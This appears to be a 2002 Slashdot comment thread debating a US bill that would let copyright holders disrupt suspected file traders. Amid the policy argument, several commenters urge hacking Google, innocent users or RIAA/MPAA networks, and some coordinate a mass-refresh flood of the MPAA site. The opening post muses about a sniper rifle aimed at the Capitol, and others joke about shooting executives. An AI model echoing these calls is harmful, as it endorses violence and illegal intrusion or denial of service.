...excercising the fundamental right, enumerated in the Declaration of Independence, to "alter or abolish" any government which tramples on my basic rights to Life, Liberty and The Pursuit of Happiness and/or stops "deriving their just powers from the consent of the governed". i.e. - i'm seriously considering buying an SSG300 0 and setting up 900m from the Capitol. The tree of liberty from time to time must be watered with the blood of patriots...i'm feeling that it's time for a real revolution. none of this civil disobedience, or ACLU lawsuits, or protests, or sitins, or any of that pussy crap. i'm talking an army of citizens storming Washington, armed to the teeth. anybody else ever have that desire?
Facts do not cease to exist because they are ignored. - Aldous Huxley
Between computer games, books, and playing my own instrument, I'm set. I have not bought a CD in a long time. I am now going to boycott movie theatres as well, even if it means not going to a movie with my wife that she really wants to go to. I may still rent, though, as the margin from a DVD rental is far less than the margin from a movie ticket.
The best and most legal way to hurt the RIAA and MPAA is to boycot their products, thus cutting of their revenue stream.
Biodiesel : domestic, renewable, clean, and in the fuel tank of my bone stock 2002 New Beetle TDI
Perhaps this will finally force security to the forefront where it belongs. File traders to protect themselves from Hollywood, Hollywood to protect themselves from everyone else...
--hsm
www.mpaa.org is down right now. Gee, I wonder what happened?
Cool! Amazing Toys.
Not to beat a fairly dead horse, but I thought at least I could let my elected official know my opinion (happens to be Lloyd Doggett of Texas, USA). Congressman Doggett, I am writing you to express my disgust with a bill introduced by Representative Howard Berman of California (and, sadly, cosponsored by fellow Texan Lamar Smith) that would allow computer hackers to attack any person or companies computers and networks merely for being suspected of copyright infringement. Specifically, I am referring to the woefully misnamed "Legislation to Promote Technology Solutions to P2P Piracy." Ordinarily, if a someone were to intentionally and maliciously bring down another person's or business' computer network, they would be prosecuted and jailed. What this bill will do is make computer network attacks LEGAL, as long as the institution launching the attacks is doing so under the auspices of "protecting intellectual property." Mr. Doggett, I'm sure you agree that the legalization of vigilante tactics against suspected wrong-doers has no place in our country. What's worse is the clear effect that the entertainment industry's dollar has had on the introduction of this legislation (please visit http://www.opensecrets.org/politicians/indus.asp?C ID=N00008094&cycle=2002 to see who contributes the most to Mr. Berman's campaigns).
I hope you will consider these facts when it comes time to vote on this matter. I hate to think that in this day and age, planned attacks on American citizens (via their computers or otherwise) would be condoned and supported at such high levels of government.
Thank you,
[Name omitted for ./ post]
"Stop throwing the Constitution in my face, it's just a goddamned piece of paper!" - George W. Bush Nov. 2005
...what they're about to unleash.
Even if this laughable bill doesn't become law, the very fact that the MPAA and RIAA are pushing for it is probably going to land the IP address ranges of both companies in an awful lot of locally-maintained E-mail and web proxy blacklists, just on principal alone.
As for their tactics; Any SysAdmin worth their salt can easily detect, isolate, and block a DoS attack at the router level. Such an attack has little effect if the attacking system gets no response whatsoever from the target IP.
In any case, that's really beside the point. The way I see it, this kind of crap has the potential to release a widespread public-relations and consumer backlash that the industry as a whole may never recover from.
Bruce Lane, KC7GR,
Blue Feather Technologies
The best way to hurt the RIAA and MPAA is in their pocketbooks. They no longer make a "product" that I am willing to support. I've always enjoyed books, computer games, and playing my own instruments (violin and piano).
Biodiesel : domestic, renewable, clean, and in the fuel tank of my bone stock 2002 New Beetle TDI
That's damn right. As a matter of fact, doing without television and radio in general would probably do wonders for our mental and physical health. My god, have you watched television or listened to the radio lately? Ugh. :)
A general boycott on media would be tough to swallow for most people. We are so used to spending our spare time in front of the tube that getting out of that routine would be a shock to most of us. What the hell would we DO? Go outside!?
-- Jim
ID3 tags :D
Oooo who gets to be Einstein? The outspoken political genius who narrowly escapes the evil empire he openly critisies only to later coordinate with the most briliant men of the alliance to create the tool of the empires undoing? Since oceans present little barrier I wonder who we will invade first?
So many questions, so little time to polish my jackboots. It would be to bad if poverty was enough to make people realize that greed over patriotism and justice always leads to no soup for anyone. I think fighting the whole world at once could be fun. We might kick some good ass before the remaining world unites.
Novel theory: Modern Man evolved from psychopath
There's a multitude of problems that will arise if this is allowed to pass.
If copyright holders are allowed to DoS, does this mean that if an ISP's user is flooded, and this flood affacts the capacity of the ISP to serve it's users/customers, will they have legal recourse to sue the copyright holder for loss of business?
BR> I'm also curious to know if the copyright holders will also be given the ok to DoS/attack servers that are not within the US judicial borders. What happens if the server is in Canada? Canada has laws against DoS attacks. Will this mean that a Canadian citizen who is attacked will have the right to sue the copyright holder, since they used US Laws to commit a what is considered a criminal offence in another country?
What about local disk cache? It has been upheld in the court of law that original works that appear on the Net are automatically granted copyright to the creator of the work (whether it be art, a BLOG, a webpage, etc...). Does this mean that if you visit my website, and your browser caches the information to disk, that I am allowed to DoS you? Your system will have a local saved copy of my copyrighted works. This is a huuuuuuuuuuge loophole.
[Rant] I wouldn't be surprised if this bill is passed. The US and other world governments have shown time and time again that they will give preference to big corporations and not it's citizens, even if it means big business can walk all over its consumers.
It's better to burn out than to fade away
...would my firewall be illegal under this law and the DMCA?
"...but you should more or less expect that if you don't write a physical letter then you'll be ignored."
What you stated is a myth, perpetuated by people who would rather that the American public stay left behind when dealing with the government. Using the internet tools available between congress.gov, house.gov, and senate.gov, along with various online news sources, any American can easily get in touch with his elected officials, using offical and verifiable information, at a speed exceeding anything avavailable before. America's corrupt corporate power base that controls the media works to keep Americans from exploiting the excellent resource that is the internet, so that they can use their own connections (Lobbyists.) to outweigh public needs and desires.
Officials do read and consider electronic messages. I regularly communicate with my elected officials via the internet, and have recieved the same courtesy and responses that handwritten, mailed letters get; ranging from form letters, to letters from staff, to individual letters from the officials themselves.
Every time an official recieves an electronic message, the internet gains more political power. Eventually, people using the internet to deal with politicians immediately will be seen as the serious, influential voters, and those who pull out the personal letterhead and sign with MontBlanc pens will be the foolish old guard too unconcerned to actually keep up with politics.
So stop discouraging people. Encourage the use of the internet, and teach America to use online resources to keep our leaders in check.
for the record, i agree when it comes to laws regarding what content can be served. for instance france's suit against yahoo comes to mind as a praticularly assinine example. however, if both the originator of a dos attack, and its target are in the same country, it should certainly be considered an crime.
international trade is not only possible, but that doesn't mean we shouldn't have any laws regulating trade within individual countries, or that there should be no international standards regulating trade between countries.
if i mailed a bomb within my country it would certainly be illegal, even if nobody was hurt in the explosion. there would still be property damage. if i mailed a bomb to another country, that would most certainly be illegal. why should the internet be so fundamentally different legally?
#define F(x) int main(){printf(#x,10,#x);}
F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
I am not suer how they intend to hack my computer, seeing how i have a secure box. Let them try and hack and finde they know nothing about computers after all. the DOS thing is what worries me, toomany point and click programs out there they can use.
we need to bann mice as fast as we can!! Quick pass a law, that mice are dangrus, remember what they told us befor "Says a Rep from Texas: 'A mouse can be just as dangerous as a bullet or a bomb.'"
According to purchase history (aquired through our "affiliate" credit card and market research companies), this person hasn't purchased any of our products in some time. They must be getting them off p2p networks!
:)
But I kid.
The enemies of Democracy are
We (that means every "netizen") abandon all P2P systems that currently exist, create a new one wherein the EULA (which you must accept for the software to install) demands that you not be employed by, be an agent of, or in any way represent the MPAA/RIAA under penalty of having to pay all other members $250000 (USD)? Additionally, state in the same EULA that all client comptuers that connect to the network are to be considered to be equally protected. [All for one, one for all] They join, we find out, they get sued (class action) we all win money, they then get booted out of the system (their id key is negated) and we go back to our fun. All we'd need to do is make sure the servers (or the like) were hosted outside the USA. There are plenty of organizations that can deny membership based on application. We'd just be doing the same...VPN style, that's all. Throw in a real BBS/communication system and we *look* like a real, viable community. Copyright the client software (under DMCA) and they can't reverse engineer it. Viola! No holes! ;)
Islam and Jehovah's Witnesses are not, and as far as I know do not claim to be, Christian because they do not believe that Jesus Christ is the Son of God nor that he is a Divine Being of any kind. Christianity is not a specific religion, nor is it limited to Protestant religions. It is based on a belief in the Divinity of Jesus Christ, which is a category that the Church of Jesus Christ of Latter-Day Saints falls squarely into. The examples you cite of "radically non-Christian" beliefs are among arguments commonly taken out of context to foster distaste for our belief system, and it is probable you did not hear them from a member of our church. For example, we believe that Jesus Christ is the Son of God. We also read in the Bible that Lucifer is a fallen from Heaven (cf. Isa. 14:12 -- "How art thou fallen from Heaven, O Lucifer!"), so we may infer that he, too, was a child of God, albeit "child" is used in a completely different context. So to say that Lucifer is a brother to Jesus Christ is nothing more than to say we are all children of God, but not in the sense that Jesus Christ is the Son of God, so Jesus Christ is a brother to all of us, but in an astronomically superior sense. The other example you cite is not something you will find anywhere within the canon of scripture used by the Church, and is extrapolated from a belief that cannot be intelligently discussed without a foundation of much more basic beliefs. In any case, the beliefs upon which those things are founded, even in context, are more like the quantum physics of our belief system. The basic algebra is mostly the same. I think it is much more important, especially in our interfaith relations, that, like other Christians, we believe in the teachings of Jesus Christ that instruct us to love our neighbors, do good to others and live good, clean lives. It is for this reason that Mormons can often be found working alongside Baptists, Protestant Christians and Catholics for common causes despite certain doctrinal differences (of which there are many -- that I do not dispute).
I know /. is not the best place to have a religious discussion, but these kinds of misconceptions are the things that get us classed and confused with JW's so frequently (I have seen so many people shocked at the fact that we celebrate Easter, Christmas and birthdays, I just had to say something).
Today's Sesame Street was brought to you by the number e.
So what? They are allowed to take action to stop you distributing their stuff. They are explicitly not covered if they take action that stops you distributing anything else unless it's reasonably necessary to stop you distributing their stuff. If you're not distributing their stuff, they can't touch you. They have no magic new rights to breach you privacy, install a virus on your PC or nuke your home.
Why do you think any action they are allowed to take as a result of this Act would be unconstitutional, or indeed unreasonable? What are you guys all so worried about, apart from your own hype?
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
this is plain old wrong and shouldn't even be a bill. The dorks that are supporting/authoring/pushing this bill should be shot out right. Or atleast be strung up for every american to pound on.
Unless this gets out on the national news. So, why not turn tonight's Slashdot meets into a nationwide protest. That ought to get someone's attention.
Thanks to this bill, it will be legal to hack Google!
Google are distributing TERABYTES of copyright information without permission thanks to their cache. They take entire sites to put on their cache.. so surely they're breaking some copyright laws.
Well, if Google has cached your site, now is the time to FIGHT BACK! Get hacking Google today. I wouldn't have said this before, but it will be LEGAL thanks to this bill! Yay!
Hack your favourite search engine.. TODAY!
mogorific carpentry experiments
Well, if the idiots in the MPAA/RIAA think they are more clever than their customers, perhaps it's time we proved them wrong.
I've already stopped buying CD's unless they come from independants (not associated with the RIAA, at least that I can tell)...
Maybe it's time for that winamp/xmms input-type plugin that reads blowfish encrypted mp3 files. Then they can have fun trying to figure out what data's being transferred over that new p2p protocol that rides an SSL tunnel.
Let the fools implode under their own weight.
Seems the RIAA/MPAA are almost asking to have the hell sued out them if they even try to use this. The text of the doc says they are allowed to do this only if they:
1. Don't Alter/Delete any files on the end user computer
2. Don't interfere with anyone elses computer other then the file trader
3. Cause more then 50.00 dollars impairment to the end user they are DoS'ing
So the MPAA/RIAA would have to be pretty damn careful not to mess ANYTHING else up. Since later on it says that wrongfully DoS'd people can sue the MPAA/RIAA, assuming they lost more then $250. The question if this is actually consitutinal is how much is your time worth? Are you a consultant who gets billed out at 300 dollars an hour? And losing use of your internet connection for a couple hours while the MPAA/RIAA screw with you costs you a couple thousand? Well step right forward and sue the crap out of the MPAA/RIAA cause the law says you can.
Don't try to buy off a congressional representative. The MPAA and RIAA have more money than you and everyone else could ever hope to donate to an EFF fund, and since the bills go to the highest bidder you're out of luck. On the other hand, tv time comes at a fixed cost/minute. Instead of buying a senator/house rep directly, make an example out of one of them. Run ads. Get them thrown out of office. It costs much less than bidding against the [MP,RI]AA and more senators will take note.
I'm emailing the EFF right now to suggest this.
If this passes, we should actively start hacking innocent folks' machines to build opposition to this bill. It could be done without liability (I purport.)
"Whatever happened to fair use?"
-- Duff-Man
Societal problems usually can't be solved with technical solutions. The law is there to directly address societal conflicts - using the law to back a technical solution simply results in technical workarounds. This is just bad law.
- Fzz
Law enforcement organizations are asking that all cops be exempt from laws against carrying concealed weapons. This would apply while they're off-duty, outside their own jurisdictions.
How can they sell the mass-market crap they pump out over Clear Channel and Infinity if the public has alternatives available?
The RIAA knows that broadcasting sells CDs. That's why they pay thousands of dollars for every single track that an FM radio station plays to independent promoters.
It isn't that they object to free promotion, they object to the idea that "just anybody" can upload to P2P or to an Internet Radio station.
They are looking at the end of their business model and will do anything to keep it going for a little longer and they simply don't care how much damage what they do occurs to the rest of America. The legislators they 0wn are too busy counting their bribes to realize that this kind of legislation will put their constituents out of work and the economy in a fatal tailspin.
If this bill passes, operations whose Web operations are critical to them probably should start thinking about relocating outside the USA.
Tech Public Policy stuff
What good would that do? They'd probably just find a way to take the losses out of the artists' royalties anyway.
In Soviet Russia, Chuck Norris will still kick your ass.
if i mailed a bomb within my country it would certainly be illegal, even if nobody was hurt in the explosion. there would still be property damage. if i mailed a bomb to another country, that would most certainly be illegal. why should the internet be so fundamentally different legally?
Because bits can't physically hurt or kill people.
I live in the UK. If Disney hacks me, it's not a crime in the US because, well, it's not a crime in the US. And it's not a crime in the UK because nobody in the UK committed a crime.
Want to bet what'll happen if I retaliate? Do the names Jon Johanson and Dmitri Sklyarov ring a bell?
If you were blocking sigs, you wouldn't have to read this.
It could have been worse. Imagine a law to permit the
music and movie industry to deputize a posse
to go after and lynch persons they suspect
of trading copyrighted materials. "We'll give you a fair trial, then hang you."
...for Joe Sixpack to perform, but what if, oh I don't know, a couple thousand people around the country/world decided to load the MPAA/RIAA website in their browser, and something, maybe a book, happened to fall on the refresh key. For a few hours.
That would be a shame.
Wesly
Ya, I can't believe anyone would be stupid enough to actually think a bill like this could even be considered. Immunity my ass. I would definately boycot, I've pretty much grown a disgust for media and entertainment anyway. Especially tv and radio, that shit is horrible. I'd much rather spend my time hacking RIAA MPAA networks, than polluting my mind with the shit they put out! Peace.
I understand fully why it is illegal to have mp3's of albums which I do not own, and why it should be legal to have fair-use mp3 copies of the CD's in the cd rack in my room. But I don't understand why distributing those mp3's is illegal across the board. What if I am transferring a copy of a CD that i own, to another person that owns that CD? If I own a number of CD's and have ripped, tagged, named, sorted, and categorized them myself, shouldn't it be legal for a friend who has those same CD's to download them from me.. thereby saving them the trouble I went through (and saving me the trouble of teaching them how to do it)? Why doesn't the legality of the file sharing apply only to the person downloading the mp3's, as there are understandably legal reasons for transferring those files to begin with?
Because bits can't physically hurt or kill people.
Sure they can - what if the DoS affected a hospital network, or managed to disable a system responsbile for controlling a nuclear power plant, or a train, or the air traffic control system?
Sure you say, these critical systems are behind firewalls. But what if your DoS shuts down a key network while at the same time, a doctor in Seattle is trying to send urgent medical information to a doctor in Chicago who is trying to save a little kids life? That might sound a little melodramatic, but the fact of the matter is, the internet isn't all online auctions and porn.
You are using a standard response when any script kiddie was caught - "I wasn't doing any harm" - but the truth is you have no idea whose other electrons are buzzing around out there.
Do you have Linux and a DotPal? Click here now!
Heh, good point.
Ya know, reading this further, since it's on the "file trader" (I love that term) to notice and complain about the action, any time you lose a file or "get hacked", you should send a letter all of the MPAA/RIAA folks asking for a report on what they removed and why (See 2A through 2C).
Since there's no way to know who actually did it, and there doesn't appear to be any reason to believe the DoJ would care to tell you, you'd have write all of them to figure it out. Wonderful law eh!
In the U.S. (where the bill has been proposed), 2002 is an election year. All members of the House of Representatives, and one third of the members of the Sentate, are up for re-election. Every one of them has at least one opponent (both major parties have already held their local primary elections).
Sure, write your elected officials. But write the people running against them, too. We want to send a clear message, no matter who wins in November.
For extra credit, in addition to the letters to D.C., write one to each "committe to [re]elect" (a.k.a. "Friends of Blah Blah Blah"), and enclose a personal check to the committee. (Do not send cash!) It doesn't have to be big; ten or twenty dollars is enough to get a little attention. Our money talks, too!
Stupid job ads, weird spam, occasional insight at
Just wanted to remind all you Americans reading this that every House seat is facing elections this fall, so be sure to go vote for who you think deserves your support
Jesus saves souls and redeems them for valuable cash prizes
I find this highly interesting and almost funny at the same time...
However, I don't think this law will allow DOS attacks and the other nasty things you enumerate.
"Sec.514(b) further limits the safe harbor created by Sec.514(a) by listing specific circumstances in which a copyright owner cannot rely on the safe harbor. The safe harbor is unavailable if:
the copyright owner impairs the trading of files that don't contain her copyrighted work, unless such impairment is necessary to impair= the trading of her copyrighted work (Sec.514(b)(1)(A));
the interdiction efforts of the copyright owner cause economic loss to any person other than the file trader (Sec.514(b)(1)(B));"
Since a DOS attack would hurt your ISP, it seems like that would be right out. Their "technological measures" are going to have to be more narrowly targeted than a DOS flood. There seem to be numerous other measures in the bill which allegedly prevent a copyright holder from abusing this safe harbor provision. Naturally, I don't trust that this is all on the up-and-up, but they are going to make the bill sound reasonable to many people.
What I am far more worried about in this bill is that it allows for vigilantism, which has obvious problems, and there doesn't appear to be a way to appeal this action, short of taking them to court for a long and drawn out court battle. This is completely unbalanced. The vigilante can take action against you without the burden of due process, but you must take on the burden of legal action to defend yourself. IMHO, our letters to congresspeople should concentrate on the circumvention of our courts rather than on internet traffic.
Don't moderate flamebait as Troll. Know the difference or you will be Meta-moderated.
Ok that's fine. Let's just wait until after Austin Powers: Goldmember has been out a week or two :D
There is nothing inherently safe about liberty. That's why so many people died protecting it.
they dos me, fail to prove i have copyrighted material, i sue them for attacking my computer illegaly (since they have no proof), win lots of money, retire.
bring it on?
what are they going to do? analyse my encoded packets? PUH-LEEZ
This move will be signified by historians as the start of the Great Hacker War. When RIAA and MPAA decided to DoS the WRONG person. I've never done an illegal hack or crack in my life but if I were to discover that they DoS'd my network, I would seriously consider doing so.
There is nothing inherently safe about liberty. That's why so many people died protecting it.
i realize that it was a shitty example, but the point you're trying to avoid is that dos attacks do cause damage. why should something that serves no purpose other than to cause damage not be illegal if both the originator and the target are in the same country?
we're not requiring anything of isps, we're giving government money toward prevention. we're just talking about making an activity that serves no purpose than to cause damage within a single country illegal. what's the problem with that?
#define F(x) int main(){printf(#x,10,#x);}
F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
So, for the right price, can I get a law passed allowing me to summarily execute recording and movie company executives on site, without fear of punishment? I'd be really cool with that. Can it be done?
I'm only asking...
Mmmmmm... Bold, yet refreshing!
This kind of loyality needs to be rewarded!! We need to make up for all that money the RIAA/MPAA couldn't afford to contribute to the reelection after losing umpteen gazillion dollars.
We need to get ahold of the campaign propaganda of any Congress Critter that supports this law, and help him get the word out, by spamming every voter in his district 50 or 60 times a day with his reelection material during the final week before the election.
That should help bring his vote total closer to what he deserves after voting for the Cyber Vigilante law.
Quemadmodum gladius neminem occidit, occidentis telum est
1. Compile list of domains owned by RIAA members.
2. Deny connections to/from these domains.
3. (naughty) Have fun with the routing tables, especially if you're an admin on a "popular" router.
* I am not a network specialist, so interpret the above as appropriate/necessary *
Let's get drunk and delete production data!
You can cripple the MPAA and see every movie they release in a good theater with THX/Dolby/whatevertheheck sound. You can boycott every movie for the next 6 years and still see all of them!
What's that you say? How can that be?
Simply wait until the movie has been out 2 weeks and go to a matinee on the third week. It's that easy. If enough people do this we can cripple the movie industry and trash their stuck value BECAUSE they calculate the success of a movie and estimate profitability based on opening weekend returns!
As a test, I'm hereby calling for a 2-week boycott of the movie "The Lord of the Rings: The Two Towers". I'm calling it the "Boycott of the Rings: The Two Weeks". I will organize a group viewing during christmas week for anyone in my company, familly and circle of friends that wants to join me. We'll go to the Boston Common Lowes theater in Boston, MA at the closest showing after 2PM on Monday, December 30, 2002. Feel free to join us, and if you wish to wear a shirt, button or other apparel that displays your disgust for the MPAA, RIAA and whatnot all else, I invite you to do so, but please don't buy tickets for any showing before this or any full-priced showing after.
I figure if we're going to be lazy enough to not boycott the people who are trying to give us the shaft, we might as well pick a movie that a) won't benefit from the extra publicity among geeks b) will have its sequel no matter what we do and c) will hurt the upcoming largest movie season of the year!
Thank you all for your support.
Once again /. forgets to mention the political party responsible for DMCA and CBDTVA - the Democratics .
But let's never miss a chance to prominently mention political party when a Republican is involved.
Correct me if im wrong, but are their not bills which have been passed, or are in the process of being passed that make acts such as these considered terrorism?
Terrorism is wrong, unless your a big company....
Now would be a PERFECT time to make a big stink of this, given that it is corporate executives asking for permission to act illegally, and at a time when acting illegally/irresponsibly in corporate America is gaining public attention in a big way. I'm sure Joe Sixpack would be interested to hear about this and vote out congressman who are on the payola train from entertainment execs.
Mmmmmm... Bold, yet refreshing!
Sure they can - what if the DoS affected a hospital network, or managed to disable a system responsbile for controlling a nuclear power plant, or a train, or the air traffic control system?
Then A) the hospital or nuclear power plant or train or air traffic control system should be sued for negligence and B) the DoS attacker can be sued for murder or attempted murder or terrorism or whatever is appropriate under the circumstances. Of course, I deny that such a situation is possible in the first place.
You are using a standard response when any script kiddie was caught - "I wasn't doing any harm" - but the truth is you have no idea whose other electrons are buzzing around out there.
Life critical systems should not rely on the internet, plain and simple. Also, there are already laws in place to cover this. Finally, it is outside the enumerated powers of the constitution to have laws regarding this.
"if i mailed a bomb to another country, that would most certainly be illegal."
You are assuming the country you are mailing from has a law making the transport of explosives illegal.
Furthermore, sending material that is explosive, such as a bomb, is not necessarily illegal in the US - there are strict federally mandated guidelines for what is appropriate, and shipping companies (such as fedex) can refuse or not refuse to ship an explosive.
but you are right that were commercial interests are at stake government has a right to regulate, yet it cannot regulate what we do in our own homes, or private sphere... this is the reason why everyone should just buy a wireless card and we can start a People's P2P mesh network for individuals and non-profit organizations only, and not let corporations in to start making money off us (where the Web went wrong...)... screw the corporations (ok well not the ones selling electricity and hardware...sigh...
If these guys are coming out with illegal activities I cannot see why it would be morally incorrect to get a movement together trying anything to stop it.
PR doing their part, hackers doing theirs.
It would be possible to muster more manpower than these MPAA could ever buy.
And.. If the guys working at MPAA would ever go abroad.. they could get arrested and put in jail by laws created by not so greased representatives.
Can my zonealarm desktop software protect me against corporate angst?
'Concentrate shields on port hull!'
At 9:00 PM (-5 GMT) this evening I am going to browse the site http://www.mpaa.org/home.htm for about ten minutes. Anyone else planning the same thing? .org? not for profit? how ironic!
Note: "MPAA.com" is a project management company. I wonder how they held on to that one?
why should something that serves no purpose other than to cause damage not be illegal if both the originator and the target are in the same country?
The question should not be why shouldn't there be a law. The question should be why must there be a law? The federal government of the U.S. certainly does not have jurisdiction over the internet. It's simply not one of the enumerated powers in the constituion.
we're just talking about making an activity that serves no purpose than to cause damage within a single country illegal. what's the problem with that?
The biggest problem is that enforcement costs money, and the federal government should not go around policing private systems. If I set up a network between my house and my friends house, should the government be able to regulate it? What if I set it up with 10 friends? What if it's my whole town?
The internet is a private system, it should be protected through contract law, not federal regulation.
Anybody reserved www.mpaahoneypot.org yet?
Can I setup my own mini-music label using a DBA and then DOS whomever I want?
That's a tough call. By the same token, we shouldn't be running a firewall on the office network to protect our own systems, because if anyone hacks them, the government should go after the crackers. While it may (or may not) be a laudable ideal, the world just doesn't work that way. The only rights you get to keep are those you're prepared to fight for. If your rights are being violated wholesale -- as the recording industry's are at present -- you have to fight back all the harder. That's all they're doing, and if you're not trying to justify your own illegal copying, it's hard to find fault in that. (Whether they should be investigated themselves for complex monopoly abuse and price fixing is an entirely different question, but that's not the issue here.)
No, I wouldn't want them issuing speeding tickets, but I'd be quite happy for them to charge higher rates for known dangerous drivers. Since I don't speed like a maniac, run red lights or use my mobile on the move, this will result in the lower premiums I deserve as a sensible motorist, rather than my having to subsidise the idiots who cause the accidents, and I really don't have a problem with that. After all, you don't really think it's the insurance companies rather than other motorists who pay for it, do you? (Of course, I'd rather the traffic laws were made sensible and the police allowed to deal with genuinely dangerous drivers rather than minor parking or speeding offences where the rules are silly, but that, again, is a different issue.)
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Weakling!
its still the mpaa, dont give them your money.
you're technically voting with your dollars to let them buy their congressmen.
What will happen to all the student's out there using .EDU bandwidth when these companies try and DoS the school bandwidth? My college takes DoS from no one and is a state school, so attack the line is prosecuted like attacking a federal connection.
I guess Mr Berman would support a bill that allows people to beat the shit out of theives caught in the act without consequence. All that "judge & jury" and "due process" stuff is for the birds.
So, if I catch someone breaking into my car, I can put that person in the hospital and not worry about getting arrested for aggrevated assault or getting sued by their family.
Maybe TCP/IP should be fixed to not allow DOS/DDOS attacks.
Maybe the problem can be moved to the ISP if they can be held liable for shortcomings of their network if they allow DOS/DDOS attacks on their customers.
Then the big boys can fight it out.
A similar bill was passed which would make denial of service attacks on any website illegaly using the copyrighted jpeg format. ....there goes the net.
Remember that you are unique, just like everybody else.
Congress needs cleaned out now. I've said it before, but incumbants need to go. All of them. It is quite obvious that the vast majority of people in our congress no longer represent the American people, but now represent whoever pays them the most.
If voters can wake up and realize this, and voted their incumbants out, it would send the message to congress that they can't get away with selling us out. It would also send a message to corporations that they need to get back to running their businesses properly, rather than buying a law to protect them.
Of course, this won't happen as long as both major parties are successful in duping voters into thinking that they "care" about issues important to voters.
"You spoony bard!" -Tellah
I'm posting late, so probably noone will read this, but...
Did you actually read the bill? It says the only thing they can do is interfere with the transmission of copyrighted files. And it says they CAN'T interfere in any way with the transmission of non-copyrighted (or copyrighted but non-stolen) files. They'll probably only use this to shut down a few of the massive sharers; they can't go after you if you're also sharing a copy of, say, the US Constitution.
Oh, I agree, it's utterly evil. But it's not as bad as the reactionary +5 Insightful posters would have you believe.
Austin is more fun than Dallas.
..that I don't live in America.
Many politicians seem to think we're (the UK) the 51st state. I can only pray to Bob that this will Never Happen Here[tm].
Martin Brooks / Slayer99 #linux / UIN 2178117
Suppose I, situated in Europe, shared something your (RI,MP)AA would object to. What then? Would your p(r)etty "Congress" yet another time rule that fscking USian law has to be applied _worldwide_ (much alike Sklyarov)?
Right now I'm fantasizing about DMCA vs. EU cybercrime directives, the latter _explicitly_ making (d)DoS illegal.
But, as the old saying goes:
-- Q: What is the DMCA, exactly?
-- A: The Copyright Lawyers Lifetime Employment Act.
Those who would be proactive against this are already in danger of being labeled "terrorists". Just check out any of the newest legislation referring to cybercrime. Scary.
"We are far too easily pleased." --C.S. Lewis
Or better yet, a boycott of shitty music. And shitty business practices. And shitty anything. Don't give money to shit.
For the rest of your life.
I'm on my 17th year of it. =)
Let's say I start a business, and produce my own music. I want to get a friends opinion of a track and send him an mp3. The shmuck downloads everything to one download directory including stuff he gets off kazaa. Kazaa notices the new file and begins sharing it out to the world. My music kicks ass and therefore finds its way to all the big time file time sharers who don't have my specific permission to distribute it (I only gave permission for one not so bright person to posess it). Do I then have the authority as a company and a copyright holder to crack into their machines? If so would this be a loophole that crackers could then use? If not, why is my company not afforded the same rights as others, the amount of their political contributions???
... read Catch 22. NOW.
In related news, Ebay announced it will handle all bidding actions for all branches of the government. Servers can be found at ebay.house.gov, ebay.senate.gov and ebay.whitehouse.gov.....
Again, WRITE YOUR CONGRESSMAN to try to get this stopped. It may seem useless, but if everyone here writes in and tells their 10 best friends to write in, etc, etc....it could actually make a difference.
after all, like it or not (and I don't) distributing and downloading copywrited material is illegal. It will give us owners of massive 0day ftp sites and P2P users a chance to bone up on network security!
This is the crap that will make people (ie, ME) want to put on my Charles Bronson/Clint Eastwood underoos and open up a whole can o' whupp-ass on 'em.
We could declare open season on RIAA and MPAA execs.....
Hey, RIAA + MPAA freaks!! You want to hack me? First get some balls and meet me face to face: then you can try your hand at hacking Mr. Smith & Wesson.
Wouldn't this be a good time to mention Geekpac? Seems like the last time they were mentioned they were just getting things set up. Now they are accepting members.
Just in case anybody wants to put their money where their mouth is.
Quack, quack.
My solution? Wait for someone at the RIAA to try and download *MY* own personally written songs, to see if they're copyrighted material, and then DoS them. :)
Or any other idea along that line. (Wait for the Gov't to download? Or anyone else?)
Jake
Dating: while( 1 ){ call_girl(); get_rejected(); drink_40(); } return 0;
It would be unfortunate if in their zeal to go and hack any computer they think has copyright material they end up on an Canadian or European computer there.
They'd probably have a few nice lawsuits on their hands there after all.
And even trying to limit their searches to the US would most likely end up working imperfectly. I don't think that there's anyone who figured out a fool-proof way of mapping IP addresses to specific country.
The Webster definition would certainly include Islam(after all, they believe that Christ was a prophet), so I would say that a more strict definition is needed than that. I would be inclined to present the Apostle's Creed as a good foundation, having never met a Christian who would deny it. Can you affirm the Apostle's Creed, as understood by orthodox Christians(Protestant, Catholic or Orthodox)?
The very idea of the total apostasy is a denial of the veracity of Christian beliefs. The LDS makes no bones about the fact that foundational Christian doctrines(such as the Trinity, the nature of the Father, creation "ex nihilo", etc) are gross heresies.
Your idea that a belief in the divinity of Christ unites us ignores the fact that we fundamentally disagree on the meaning of "divinity."
Want some examples? I would start by pointing you to the LDS website:
"We do believe things about Jesus that other Christians do not believe, but that is because we know, through revelation, things about Jesus that others do not know. . . . ", M. Russell Ballard
Notice that that is from the LDS website, not exactly a hostile source.
Let's look at some basic doctrines, espoused by a document called "A Brief Introduction to the Origin, Organization and Doctrines of The Church of Jesus Christ of Latter-day Saints."
' Latter-day Saints do not believe in the philosophical constructs or thinking of scholars, ancient or modern, in regard to God.'
In a nutshell, the LDS does not believe in Christian concepts of God.
'The Godhead consists of Three Persons, not of the same "substance" but of the same purpose, the Father, the Son and the Holy Ghost.'
Whether right or wrong, this is in exact contradiction to the Christian belief of the Trinity.
'He is a corporeal being possessing a body of flesh and bone, human in form and once lived as a mortal man on a world of the same pattern as the earth upon which we now live.'
A distinct difference from orthodox Christian doctrine, which holds that the Father is a spirit only, and certainly never experienced life in the same pattern as earth.
Of course, you also run into the problem of the claim that we are not created by God:
'...for God did not create us, but by his grace, we are offered the possibility of greater happiness.'
And, the belief that Christ and Lucifer are spirit brothers can be found in the section "Mortal Life" and the section "The Son" in the second reference:
"He(Christ) is the example in all things for the other spirit children of God the Father."(emphasis mine)
"Among the many spirit children of God who had great influence in premortal life was one called Lucifer."
That logically leads to the belief that Christ and Satan are spirit brothers. This is different from the Christian belief that Christ is not of the same nature as Satan. Rather, Satan is a created being(another divergence), subservient in nature and existence to Christ.
I applaud you for your willingness to work alongside others, but that doesn't negate the fact that your beliefs directly and forcefully contradict those of Christians. Even without worrying about which one is correct, it is clear that they are divergent.
All that is necessary for the triumph of good is that evil men do nothing.
But! Look closer:
Although a horrible clich, Sun was mostly right. In today's world, the network is the computer. If they disable my network connectivity (only "as reasonably necessary", of course), they have rendered my system useless, especially as I use my system on a regular basis to download drivers for clients. That is serious economic damage to me.
